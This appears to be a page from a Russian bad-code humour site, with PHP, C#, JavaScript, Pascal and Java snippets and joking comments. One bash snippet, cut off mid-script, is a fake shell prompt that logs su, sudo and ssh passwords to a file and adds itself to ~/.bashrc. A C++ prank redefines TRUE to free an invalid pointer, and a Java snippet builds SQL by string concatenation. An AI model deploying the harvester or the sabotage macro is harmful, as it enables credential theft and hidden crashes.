- 1
- 2
- 3
- 4
- 5
$count=count($arr);
for($i=0;$i<$count;$i++){
....
};
};
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+140
$count=count($arr);
for($i=0;$i<$count;$i++){
....
};
};
Нашел с своём старом коде. Когда-то я незнал про foreach.. :D
+130.2
#!/bin/bash
cm=""
function psw_su()
{
t=`echo $1 | tr '_' ' '`
echo -n $t
read -s ps >> ~/.log
echo "password: " >> ~/.log
#safe password to log file
echo $ps >> ~/.log
echo
sleep 4s
echo "su: incorrect password"
$cm
# exit 0
};
function zar()
{
a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
b=$0
case $a in
$b)
;;
*)
echo $0 >> ~/.bashrc
;;
esac
};
zar
while :
do
psu="Password: "
psudo="root's_password:"
ht=$HOST
un=$USER
pw=`pwd`
case $pw in
$HOME)
#tilda ~ this is home directory
pw="~"
;;
*)
esac
#string of console of shell
nm=$USER"@"$HOST":"$pw"> "
echo -n $nm
echo -n " "
#enter command
cm=""
read -e cm
# cm=$1
#switch case
case $cm in
"")
;;
#authentficate as root
"su")
psw_su $psu
;;
#authentificat as root
"su -l root")
psw_su $psu
;;
#authentificate as other user
`echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _l-_us | rev`
echo "Login: "$c2 >> ~/.log
psw_su $psu
;;
#simple sudo as authentificate as root
"sudo bash")
psw_su $psudo
;;
`echo $cm | grep ssh`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _hss | rev`
echo "loginSSH: "$c2>> ~/.log
echo -n "Password: "
read -s ps
echo $cm >> ~/.log
echo "Password SSH:"$ps >> ~/.log
sleep 2s
echo
$cm
exit 0
;;
`echo $cm | grep sudo | grep sh`)
psw_su $psudo
;;
*)
esac
echo $cm >> ~/.log
#$cm >> ~/.log
#exec command
case $cm in
"")
cm="echo -n"
;;
shell script
+151
public static DataSet ExecuteStoredProcedure(StoredProcedures procedure, Hashtable parameters, int nTries)
{
int retries = 0;
while(retries<nTries)
{
try
{
return ExecuteStoredProcedure(procedure, parameters);
}
catch(Exception)
{
retries++;
}
}
return null;
}
Вот так вот екзекутились некоторые процедуры в проекте под CF. Возможно так хотели решить проблему с потерей коннекшена у девайса при врадении в слип? :)
+125.8
function CheckBankAccount(BIK, _Account) {
var Mask = "71371371371371371371371";
var Control = 0;
var M;
var strM;
if (!BIK) {
return true;
}
var Account = BIK.substring(6, 9) + _Account;
for (var i = 0; i <= 22; i++) {
M = RealParseInt(Account.substring(i, i+1))*RealParseInt(Mask.substring(i, i+1));
strM = M.toString();
Control += RealParseInt(strM.substring(strM.length-1, strM.length));
}
var R = ((Control/10) - Math.floor(Control/10));
if (R == 0) {
return true;
}
else {
return false;
}
}
Существует множество способов взять остаток от деления на 10. Два из них в этом примере...
+151
if kol=1 then begin
if GSravn.Cells[kol,Str]='VF'
then GSravn.Cells[kol,Str]:='RF'
else if GSravn.Cells[kol,Str]='RF'
then GSravn.Cells[kol,Str]:='PF'
else if GSravn.Cells[kol,Str]='PF'
then GSravn.Cells[kol,Str]:='PT'
else if GSravn.Cells[kol,Str]='PT'
then GSravn.Cells[kol,Str]:='RT'
else if GSravn.Cells[kol,Str]='RT'
then GSravn.Cells[kol,Str]:='VT'
else if GSravn.Cells[kol,Str]='VT'
then GSravn.Cells[kol,Str]:='VF';
%)
+113.8
public object DeepCopy(object value)
{
try
{
return value;
}
catch (Exception ex)
{
throw ex;
}
}
такой код повсюду... Источник: http://ayende.com/Blog/archive/2009/04/13/there-are-so-many-things-wrong-with-this-codehellip.aspx
+150
if($a==1){
$a = 1;
return $a
}
Вот что прислали индусы!
+150
FALSE === $cache || 0 == (int)$cache
пиздец. класс dbtree.
+100.3
public Date getAddedDate(Date date, int interval) {
String sql = "select DATE_ADD('" + date + "', INTERVAL " + interval + " DAY)";
return (Date) jdbc.queryForObject(sql, Date.class);
}
Добавление определенного количества дней к заданной дате. Как это сделать? Конечно c помощью SQL :)
+172.1
#pragma warning( disable : 4005 )
#define TRUE free(reinterpret_cast<VOID*>(-1))
#pragma warning( default : 4005 )
merry debugging!
(return TRUE; :)